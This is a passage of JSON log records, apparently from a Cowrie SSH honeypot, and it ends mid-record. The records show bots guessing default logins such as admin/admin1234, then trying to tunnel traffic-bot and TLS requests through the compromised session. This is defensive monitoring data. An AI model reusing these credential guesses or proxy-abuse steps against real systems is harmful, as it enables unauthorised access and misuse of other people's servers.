{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03B\\xd2\\xe3x=\\x8f\\x8bN\\x8a\\xe6\"E\\xb6\\x93&\\x9ah\\x8d \\x9d\\x17\\xb2P\\xff|,s\\xa36\\x12\\x8bL !\\xb5\\xe8L\\x0fx\\xc7M\\xf6\\xa1\\xe0\\x94\\xf2\\xa9\\xe4\\xd58\\xd4Gr2\\x1f\\x1ef\\xbe\\xa2\\xb63;\\x99\\xeds\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb2\\x94w\\xbe\\xef8M\\xf6Z!z\\xc2U45U\\x11Iy\\x0e_t\\xb6\\x8e\\x94\\xb3\\x19\\x8dL\\xcf\\x08u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03B\\xd2\\xe3x=\\x8f\\x8bN\\x8a\\xe6\"E\\xb6\\x93&\\x9ah\\x8d \\x9d\\x17\\xb2P\\xff|,s\\xa36\\x12\\x8bL !\\xb5\\xe8L\\x0fx\\xc7M\\xf6\\xa1\\xe0\\x94\\xf2\\xa9\\xe4\\xd58\\xd4Gr2\\x1f\\x1ef\\xbe\\xa2\\xb63;\\x99\\xeds\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb2\\x94w\\xbe\\xef8M\\xf6Z!z\\xc2U45U\\x11Iy\\x0e_t\\xb6\\x8e\\x94\\xb3\\x19\\x8dL\\xcf\\x08u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:01.370612Z","src_ip":"123.27.168.40","session":"34fc621c6a26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:01.715709Z","src_ip":"123.27.168.40","session":"34fc621c6a26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":48466,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0c72d67859d","protocol":"ssh","message":"New connection: 103.60.242.169:48466 (159.203.135.109:22) [session: e0c72d67859d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:06.269428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:06.272617Z","src_ip":"103.60.242.169","session":"e0c72d67859d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:06.516862Z","src_ip":"103.60.242.169","session":"e0c72d67859d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"herman","password":"herman","message":"login attempt [herman/herman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:07.532038Z","src_ip":"103.60.242.169","session":"e0c72d67859d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:08.780646Z","src_ip":"103.60.242.169","session":"e0c72d67859d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":61038,"dst_ip":"10.17.0.5","dst_port":22,"session":"a76f43fdd82b","protocol":"ssh","message":"New connection: 113.164.152.20:61038 (10.17.0.5:22) [session: a76f43fdd82b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:28.855456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:28.860062Z","src_ip":"113.164.152.20","session":"a76f43fdd82b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:29.188482Z","src_ip":"113.164.152.20","session":"a76f43fdd82b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:30.441809Z","src_ip":"113.164.152.20","session":"a76f43fdd82b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:30.872835Z","session":"a76f43fdd82b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:31.083682Z","session":"a76f43fdd82b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:31.407673Z","src_ip":"113.164.152.20","session":"a76f43fdd82b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=elU1e2Q%2Bc2JpU3EwekZ4SQ%3D%3DuyylEacI2OrelAyXgwC91um9SeuEl5stajf5HqMMLkj2woSr14pySGoW9g8rLH%2FFgJAbh54DCtJrUoZqSbHtLiUWlYU%2FcGVWlLFG6RbD4G9DPXvSi6UIxI146CPGPJONZdKD4fqXB17eLREfuseI5NdJ5icc49gE6fGEUdpcEkF7SY8oOO%2Fad6wJvgDwp9Aj4Ib34JHJ4O%2FO8C8WLo7JT5uqkrbIMl9oOxO0PpbJ06kGkO2UKDT4lhvivcIk5qvWer%2BiwfVdF89CqJmkKbRVNNF2Kv9f2jUhK0HNBVwu76JN75GmL2vNxkUJgmIvj9lWwDV9iZKAwelgDkCwij1hso%2B5s0CFhUm6L%2BUnTe5VOvlYhtsGPvAVhfpNpcNrhdUWMmKiufxpLZNcDOyphq0CSDQ8Z6AHclH6rMZiFP3WjcDcf5998lRg4GVNjbjc%2FVPEtfoNF%2FcDrLKs4l4mKBs8eCExPqHP3Rxk7q05%2Fhmc4UU6DOhOhNXJsKl4PvIuCdydTXRQzTGha%2BsEdwuLr2%2FhW7D%2BvJ63Vdwyx2rPDShDGzpgtyxiX7F4BecItwmI4hWso1JoCN46OemjmsCubZZxY59tKibK2PD6uSqkNc20JYPM2QzYx8suFA%2FpPsofQ3cewnpS2lIXHZoU1xG9x7J57ZYgJAHHrQdvlh478Lnqb%2FjcQQC6Xxojw789A5dJ%2FwOnLMaf3qdWp6IPUtT68q6AY0tMA5CylznLbdT53kxsjrKYbkNW%2F6Pjbmc89G03Vn2NmAInu%2F8YiBLFFH5AV75o2ng1ZP3Kb04YSns4%2FVgrLA3UCVEtX9fc%2FqPffwEf80Ftm7TfoGBlKevlCrrFHxISjg2IPWDMejy1IIOO1mIAuNnyulKVEG%2Bsah%2FMPy1SE2SVrdNSm5nTffPpFhu2SkUQWM4%2BDVp4tvGkYVdA4wLrXfIwgu56qXQTsQUdQtchZoBORDcmvcKIW6fuA8tdysp1S%2BYutuYi%2B%2F3gwAxdLIROYe1EMgHTYebWPBoTlUMR4JyTORD9mbXFNkLTWGsuWcEc4Zj4%2F19bsiNNoShSrveccUg%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=elU1e2Q%2Bc2JpU3EwekZ4SQ%3D%3DuyylEacI2OrelAyXgwC91um9SeuEl5stajf5HqMMLkj2woSr14pySGoW9g8rLH%2FFgJAbh54DCtJrUoZqSbHtLiUWlYU%2FcGVWlLFG6RbD4G9DPXvSi6UIxI146CPGPJONZdKD4fqXB17eLREfuseI5NdJ5icc49gE6fGEUdpcEkF7SY8oOO%2Fad6wJvgDwp9Aj4Ib34JHJ4O%2FO8C8WLo7JT5uqkrbIMl9oOxO0PpbJ06kGkO2UKDT4lhvivcIk5qvWer%2BiwfVdF89CqJmkKbRVNNF2Kv9f2jUhK0HNBVwu76JN75GmL2vNxkUJgmIvj9lWwDV9iZKAwelgDkCwij1hso%2B5s0CFhUm6L%2BUnTe5VOvlYhtsGPvAVhfpNpcNrhdUWMmKiufxpLZNcDOyphq0CSDQ8Z6AHclH6rMZiFP3WjcDcf5998lRg4GVNjbjc%2FVPEtfoNF%2FcDrLKs4l4mKBs8eCExPqHP3Rxk7q05%2Fhmc4UU6DOhOhNXJsKl4PvIuCdydTXRQzTGha%2BsEdwuLr2%2FhW7D%2BvJ63Vdwyx2rPDShDGzpgtyxiX7F4BecItwmI4hWso1JoCN46OemjmsCubZZxY59tKibK2PD6uSqkNc20JYPM2QzYx8suFA%2FpPsofQ3cewnpS2lIXHZoU1xG9x7J57ZYgJAHHrQdvlh478Lnqb%2FjcQQC6Xxojw789A5dJ%2FwOnLMaf3qdWp6IPUtT68q6AY0tMA5CylznLbdT53kxsjrKYbkNW%2F6Pjbmc89G03Vn2NmAInu%2F8YiBLFFH5AV75o2ng1ZP3Kb04YSns4%2FVgrLA3UCVEtX9fc%2FqPffwEf80Ftm7TfoGBlKevlCrrFHxISjg2IPWDMejy1IIOO1mIAuNnyulKVEG%2Bsah%2FMPy1SE2SVrdNSm5nTffPpFhu2SkUQWM4%2BDVp4tvGkYVdA4wLrXfIwgu56qXQTsQUdQtchZoBORDcmvcKIW6fuA8tdysp1S%2BYutuYi%2B%2F3gwAxdLIROYe1EMgHTYebWPBoTlUMR4JyTORD9mbXFNkLTWGsuWcEc4Zj4%2F19bsiNNoShSrveccUg%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:31.410979Z","src_ip":"113.164.152.20","session":"a76f43fdd82b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:31.690681Z","src_ip":"113.164.152.20","session":"a76f43fdd82b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xee\\xf8-L\\xb8\\xfa\\xe5\\x8a0\\xd6\\xee\\x93\\x94\\x96\\xdc5\\xe2\\x00\\xd8\\x13n\\xe6\\xae\\x994\\x10P#4F\\x1b\\x00 +\\xa3\\xe2\\xa7\\xeaO\\xa2\\xe5\\xaa\\t\\xa0\\x04<l4Q\\x8f\\x98\\x83\\xf2\\xc5\\x1f\\x1e8\\xc2pp\\x8dX\\xfe\\xbd\\xf6\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 +\\x06\\xcfj`\\x1d\\x9b\\xc4\\xeda\\xb1\\xe8\\xa4A\\xa3\\xc3\\xd4\\xf1\\xaeU\\x01q\\xa3\\xd1\\xf2\\xf9\\xb9h(]\\xa3\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xee\\xf8-L\\xb8\\xfa\\xe5\\x8a0\\xd6\\xee\\x93\\x94\\x96\\xdc5\\xe2\\x00\\xd8\\x13n\\xe6\\xae\\x994\\x10P#4F\\x1b\\x00 +\\xa3\\xe2\\xa7\\xeaO\\xa2\\xe5\\xaa\\t\\xa0\\x04<l4Q\\x8f\\x98\\x83\\xf2\\xc5\\x1f\\x1e8\\xc2pp\\x8dX\\xfe\\xbd\\xf6\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 +\\x06\\xcfj`\\x1d\\x9b\\xc4\\xeda\\xb1\\xe8\\xa4A\\xa3\\xc3\\xd4\\xf1\\xaeU\\x01q\\xa3\\xd1\\xf2\\xf9\\xb9h(]\\xa3\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\